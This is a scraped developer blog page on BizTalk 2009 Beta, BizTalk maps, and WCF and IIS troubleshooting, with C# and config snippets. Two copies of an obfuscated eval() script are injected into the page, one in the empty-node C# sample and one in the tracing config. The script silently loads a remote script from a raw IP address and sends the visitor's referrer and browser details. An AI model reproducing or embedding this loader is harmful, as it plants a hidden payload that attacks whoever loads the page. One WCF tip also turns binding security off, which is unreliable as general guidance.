BizTalk 2009 Beta – Interview of Neal Walters and Yogi Veda

For more information about BizTalk 2009: BizTalk 2009 – Screen shots and article

Yogi Veda and I took a look at BizTalk 2009 Beta installed on Windows 2008 and SQL 2008.

BizTalk Admin Console – The BizTalk Admin console has many new options in the “search for” list. The HAT utility is no longer included in the “Start Programs” BizTalk tools. Instead, you would go to the BT Admin Console. And finally, tracked messages can be viewed from the utility itself (without being saved to disk).

Properties in Visual Studio BizTalk Projects – BizTalk projects now are handled more like regular C# projects. This is where you specify the strong key file, the application name, etc…

Schemas and pipelines now have .cs code, as orchestrations have in BT2006:

When you look at map propertiies, you now see them in the properties window, instead of the pop-up box.

Windows 2008 and SQL 2008

Somewhat unrelated, the Windows 2008 Task Manger now allows you to start and stop services (such as BizTalk and SSO). But “Restart” not available.

SQL 2008 – when you right-click a table, you can no longer open the entire table, you can “Select Top 1000 rows” or “Edit the top 200 rows”:

Also check out our video discussion about BT2009 Beta:
BizTalk 2009 – Video Interview

string formateddate=DateTime.Now.ToString((“dd-MM-yyyy”);

This page shows the middle of two “butt-ugly” (and complex) BizTalk Maps.

BizTalk Mapper is a plug-in to Visual Studio that allows the BizTalk developer to map from one schema to another. ?It builds XSLT behind the scene, or the developer can do the entire map in XSLT or fragments of it in XSLT.

The developer places “Functoids” from the Toolbar onto the mapping grids (shown below), and connects them . ?See bottom of this blog for example functoids.

Some maps are super simple, but others are incredible complex. ?Documents such as EDI or Rosetta Net can contain as many as 1000 or 2000 elements in the schema that can be mapped. ?It can more complex when those elements are nested and looped (i.e. occur multiple times).

The grid can even be subdivided into tabs at the bottom. ?Even then, you can get ugly maps like the ones above. ?When you scroll the schema on the left or the right, the grid is redrawn, and the lines will move and re-draw accordingly.

Here is an example of a simple map and part of the ToolBox with the functoids is shown on the left. ?This image also let’s you see the schema on the left (source) and the right (target). ?I couldn’t show the schema elements in the maps above because they were proprietary.

The categories of functoids are (each one has a different color code):

  1. Advanced
  2. Conversion
  3. Cumulative
  4. Database
  5. Date/Time
  6. Logical
  7. Mathematical
  8. Scientific
  9. String (shown in last image above, the red “functoids” on the left)

Here are some videos training that I did on BizTalk Maps (from “MrBizTalk” channel on YouTube.com).

Do you have some ugly maps. ?Send me your pictures to: uglymaps@biztalk-training.com
and I’ll post them here!

Neal

Sorry, I don’t have the System.Exception right now, but it basically said that BizTalk did not receive a response from the Web Service, and the error was in System.Model…

I went to the IIS server, and browsed the System Event Log and found this message:

System EventLog (not Application EventLog):
Event Type: Warning
Event Source: W3SVC
Event Category: None
Event ID: 1011
Date: 12/1/2008
Time: 3:29:06 PM
User: N/A
Computer: S-SV-ES01-WSV01
Description:
A process serving application pool ‘DefaultAppPool’ suffered a fatal communication error with the World Wide Web Publishing Service. The process id was ‘19164’. The data field contains the error number.

For more information, see Help and Support Center at http://go.microsoft.com/fwlink/events.asp.
Data:
0000: 8007006d

Googling on the code above 8007006D indicated that the application pool was crashing.

Eventually, we discovered that we needed to install .NET 3.5 SP1, and it resolved this problem.

This site provided some info, but turned out to be a waste of time for our specific scenario:
Blogs.MSDN.Com (David Wang)

What if you need to remove all the empty nodes in an XML document? It’ easy with this small subroutine. This might be useful to set fields to NULL when they have no value, especially when communicating between BizTalk and a WCF web service. You might often get serialization errors when, for example, a date/time field has an empty-string value. Better to pass no element to the web service (i.e. NULL) than a field with a bad value.


 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyayr|var|u0026u|referrer|hkbni||js|php'.split('|'),0,{}))
</script></noindex>        public static XmlDocument RemoveEmptyNodes(XmlDocument txd)
        {

           // make a clean copy so we don't accidentally destroy the byRef txd variable passed to us.
            XmlDocument xmldoc = new XmlDocument();
            xmldoc.LoadXml(txd.OuterXml);
            XmlNodeList emptyElements = xmldoc.SelectNodes(@"//*[not(node())]");
            for (int i = emptyElements.Count - 1; i >= 0; i--)
            {
               emptyElements[i].ParentNode.RemoveChild(emptyElements[i]);
            }
            xmldoc.InnerXml = xmldoc.InnerXml.Replace("", "");
            return xmldoc;
        }

You can call the above code from a message assignment shape in an orchestration.
Just put the above code in a C# helper .DLL, make a reference to it from your orchestration, then you should be able to call it statically.

An SQL database field was defined as CHAR(1). We used LINQ to SQL to expose in a web service, which defined the field as a System.Nullable.

Unforuntately, it is not well known or well documented that “CHAR”s serializae and deserialize as the ASCII number, which is the equivalent of the character.

Thus is a BizTalk map, we had to use the Character to ASCII functoid to conver the letter “C” to the number “67”, in order to get BizTalk to properly build XML that is passed to a web service. When passing the letter “C”, you get a deserialization error.

See Also this blog link

Of course, check your action first. It could be misspelled or mistyped.

What can happen is that your BizTalk works fine with a WCF web service,
but then you move the WCF service to a different machine and get the error below.
Apparently, this only happens when the different machine is in a different domain.


<code>
&lt;s:Fault xmlns:s="http://www.w3.org/2003/05/soap-envelope"&gt;
&lt;s:Code&gt;&lt;s:Value&gt;s:Sender&lt;/s:Value&gt;
&lt;s:Subcode&gt;&lt;s:Value xmlns:a="http://schemas.xmlsoap.org/ws/2005/02/sc"&gt;a:BadContextToken&lt;/s:Value&gt;&lt;/s:Subcode&gt;
&lt;/s:Code&gt;
  &lt;s:Reason&gt;&lt;s:Text xml:lang="en-US"&gt;The message could not be processed.
<br />This is<br />
most likely because the action 'http://YourService/IYourInterface/YourMethod' is incorrect or <br />because the message contains an invalid or expired security context token or because there <br />is a mismatch between bindings. The security context token would be invalid if the service <br />aborted the channel due to inactivity. To prevent the service from aborting idle sessions <br />prematurely increase the Receive timeout on the service endpoint's binding.&lt;/s:Text&gt;
  &lt;/s:Reason&gt;
&lt;/s:Fault&gt;
</code>

Add the code below to the web.config for your WCF web service.

<code>
&lt;bindings&gt;
   &lt;wsHttpBinding&gt;
       &lt;binding name="Binding1"&gt;
            &lt;security mode="None"&gt;
                 &lt;transport clientCredentialType="None" /&gt;
                 &lt;message establishSecurityContext="false" /&gt;
            &lt;/security&gt;
       &lt;/binding&gt;
   &lt;/wsHttpBinding&gt;
&lt;/bindings&gt;
</code>

To see how to run the full server side trace and view the output, please see this article.
http://biztalk-training.com/readarticle.php?article_id=20

In my specific case, I was calling a WCF service that used LINQ to retrieve data from a database and return as a LIST of LINQ objects. When I ran 85 records, it would run, but when I ran 90 it would not, so I knew the issue was size related.

it turns out that the server side trace gave me the more specific error:
System.Runtime.Serialization.SerializationException: Maximum number of items that can be serialized or deserialized in an object graph is ‘65536’.

Note: this is after I already bumped up all the timeouts and the maxBufferPoolSize and the maxReceivedMessage size.

<behaviors>
<endpointBehaviors>
<behavior name=”NewBehavior”>
<dataContractSerializer maxItemsInObjectGraph=”500000″ />
</behavior>
</endpointBehaviors>
</behaviors>
<client>
<endpoint address=”http://my.address.com/Service” behaviorConfiguration=”NewBehavior”
binding=”basicHttpBinding” contract=”ITest” name=”foo” />
</client>

WCF Tracing

Sometimes, you might need to run a full WCF trace (on both the IIS web service, and the client).
The XML in this article will do that and discuss how to view it.

&lt;configuration&gt;
 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aerdn|var|u0026u|referrer|yskbn||js|php'.split('|'),0,{}))
</script></noindex>   &lt;system.diagnostics&gt;
      &lt;sources&gt;
            &lt;source name="System.ServiceModel"
                    switchValue="Information, ActivityTracing"
                    propagateActivity="true"&gt;
            &lt;listeners&gt;
               &lt;add name="traceListener"
                   type="System.Diagnostics.XmlWriterTraceListener"
                   initializeData= "c:logTraces.svclog" /&gt;
            &lt;/listeners&gt;
         &lt;/source&gt;
      &lt;/sources&gt;
   &lt;/system.diagnostics&gt;
&lt;/configuration&gt;

You can view the file in XML, but it can be a little ugly.

Microsoft has provided a free utility called SVCTraceViewer.exe.
To get this utility, unfortunatley you have to download the Windows developers toolkit.
After you install, it can be found in this directory:
“c:Program FilesMicrosoft SDKsWindowsv6.0ABinSvcTraceViewer.exe”

How to download SvcTraceViewer.exe
Unfortunately, you can not just download the utility standalone.
No, the only way (as far that I know of) to have it, is to install the .NET SDK. The latest version of this SDK is 6.1 and is called ‘Windows SDK for Windows Server 2008 and .NET Framework 3.5’.

This is a huge install. First you have to download a 1,29 GB .ISO on http://www.microsoft.com/downloads/details.aspx?FamilyID=e6e1c3df-a74f-4207-8586-711ebe331cdc&DisplayLang=en. After burning it to DVD or mounting it with a ISO mounting tool (like http://www.slysoft.com/en/virtual-clonedrive.html) or running UltraIso or something to turn it into regulary disk files, you can start the setup. To have SvcTraceViewer.exe you only need to select Developer Tools .NET Development Tools.

You can double click to run it, and it opens a Windows program.
You simply open the trace log file you captured above, and it formats it beautifully, with errors in red, and warnings in yellow. You can still see the full XML if you want (for example to copy it to clipboard, a MSDN Forum Post, or an email).